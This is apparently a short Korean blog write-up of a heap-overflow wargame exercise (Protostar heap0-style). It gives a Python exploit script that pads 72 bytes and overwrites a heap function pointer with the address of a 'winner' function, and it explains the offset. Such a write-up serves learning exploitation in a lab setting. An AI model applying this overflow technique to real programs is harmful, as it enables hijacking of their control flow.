이번에는 힙 오버플로우를 이용하여 다른 함수로 flow를 변경시키는 문제네요.

winner 함수를 호출하면 해결 되는 문제인 것 같습니다.



#coding: utf-8
from struct import pack, unpack

p = lambda x: pack("<L", x)
up = lambda x: pack("<L", x)[0]

winner = 0x8048464
system = 0xb7ecffb0
binsh = 0xb7fb63bf

payload = 'A'*72
payload += p(winner)

print payload

heap0.py


winner 함수의 주소를 구하고, d 구조체 뒤에 오는 f 구조체를 침범하도록 72바이트만큼 dummy byte를 덮어씌워주고 overwrite 해줍니다. 이 위치가 f 구조체의 fp 함수포인터의 위치입니다.





+ Recent posts